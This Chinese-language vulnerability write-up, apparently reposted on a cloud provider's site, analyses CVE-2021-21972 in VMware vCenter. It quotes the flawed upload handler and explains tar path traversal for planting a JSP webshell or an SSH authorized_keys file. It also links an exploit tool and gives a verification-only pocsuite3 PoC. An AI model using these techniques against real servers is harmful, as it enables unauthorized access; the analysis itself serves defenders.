您好,登錄后才能下訂單哦!
如何進行vCenter 6.5-7.0 RCE漏洞CVE-2021-21972分析,針對這個問題,這篇文章詳細介紹了相對應的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。
vCenter Server 為 ESXi 的控制中心,可從單一控制點統一管理數據中心的所有 vSphere 主機和虛擬機。
CVE-2021-21972 是Vcenter的一個未授權文件上傳漏洞。該漏洞可以上傳文件至vcenter服務器的任意位置。由于該服務System權限,可以任意寫,可上傳webshell并執行,如果是Linux環境并開放了ssh,可上傳公鑰直接通過ssh登錄。
vCenter Server 的 vROPS 插件的 API 采用spring編寫。部分敏感接口未經過鑒權,其中uploadova
接口存在一個上傳 OVA 文件的功能:
@RequestMapping( value = {"/uploadova"}, method = {RequestMethod.POST} ) public void uploadOvaFile(@RequestParam(value = "uploadFile",required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception { logger.info("Entering uploadOvaFile api"); int code = uploadFile.isEmpty() ? 400 : 200; PrintWriter wr = null; ... response.setStatus(code); String returnStatus = "SUCCESS"; if (!uploadFile.isEmpty()) { try { logger.info("Downloading OVA file has been started"); logger.info("Size of the file received : " + uploadFile.getSize()); InputStream inputStream = uploadFile.getInputStream(); File dir = new File("/tmp/unicorn_ova_dir"); if (!dir.exists()) { dir.mkdirs(); } else { String[] entries = dir.list(); String[] var9 = entries; int var10 = entries.length; for(int var11 = 0; var11 < var10; ++var11) { String entry = var9[var11]; File currentFile = new File(dir.getPath(), entry); currentFile.delete(); } logger.info("Successfully cleaned : /tmp/unicorn_ova_dir"); } TarArchiveInputStream in = new TarArchiveInputStream(inputStream); TarArchiveEntry entry = in.getNextTarEntry(); ArrayList result = new ArrayList();
while(entry != null) { if (entry.isDirectory()) { entry = in.getNextTarEntry(); } else { File curfile = new File("/tmp/unicorn_ova_dir", entry.getName()); File parent = curfile.getParentFile(); if (!parent.exists()) { parent.mkdirs();
目的是將 TAR 文件解壓后上傳到/tmp/unicorn_ova_dir
目錄,直接將 tar 文件名與/tmp/unicorn_ova_dir
拼接并寫入文件。
因此文件名中包含../
繞過當前目錄限制,上傳文件至任意位置。
通常情況下可以在目標服務器上寫入 JSP webshell 文件(服務是 System 權限,可以任意文件寫),利用工具 https://github.com/NS-Sp4ce/CVE-2021-21972。
如果環境為Linux且開放了ssh,可以創建一個包含../../home/vsphere-ui/.ssh/authorized_keys
的 tar 文件并上傳,通過ssh登陸:
$ ssh 10.211.55.4 -lvsphere-ui VMware vCenter Server 7.0.1.00100 Type: vCenter Server with an embedded Platform Services Controller vsphere-ui@bogon [ ~ ]$ id uid=1016(vsphere-ui) gid=100(users) groups=100(users),59001(cis)
#!/usr/bin/env python # coding: utf-8 from urllib.parse import urljoin from pocsuite3.api import POCBase, Output, register_poc, logger, requests class DemoPOC(POCBase): vulID = '' version = '1.0' author = [''] vulDate = '2021-02-24' createDate = '2021-02-24' updateDate = '2021-02-24' references = [''] name = 'VMware vCenter 未授權RCE漏洞' appPowerLink = '' appName = 'VMware vCenter' appVersion = ' 7.0 U1c 之前的 7.0 版本、6.7 U3l 之前的 6.7 版本、 6.5 U3n 之前的 6.5 版本' vulType = '' desc = ''' VMware vCenter 未授權RCE漏洞 ''' samples = [''] install_requires = [''] def _verify(self): result = {} try: vul_url = urljoin(self.url, "/ui/vropspluginui/rest/services/uploadova") resp1 = requests.get(self.url) resp2 = requests.get(vul_url) if '/vsphere-client' in resp1.text and resp2.status_code == 405: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url except Exception as e: logger.error(e) return self.parse_output(result) def _attack(self): return self._verify() def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('Internet nothing returned') return output register_poc(DemoPOC)
vmware修復方法比較簡單,直接關閉插件。
關于如何進行vCenter 6.5-7.0 RCE漏洞CVE-2021-21972分析問題的解答就分享到這里了,希望以上內容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關注億速云行業資訊頻道了解更多相關知識。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。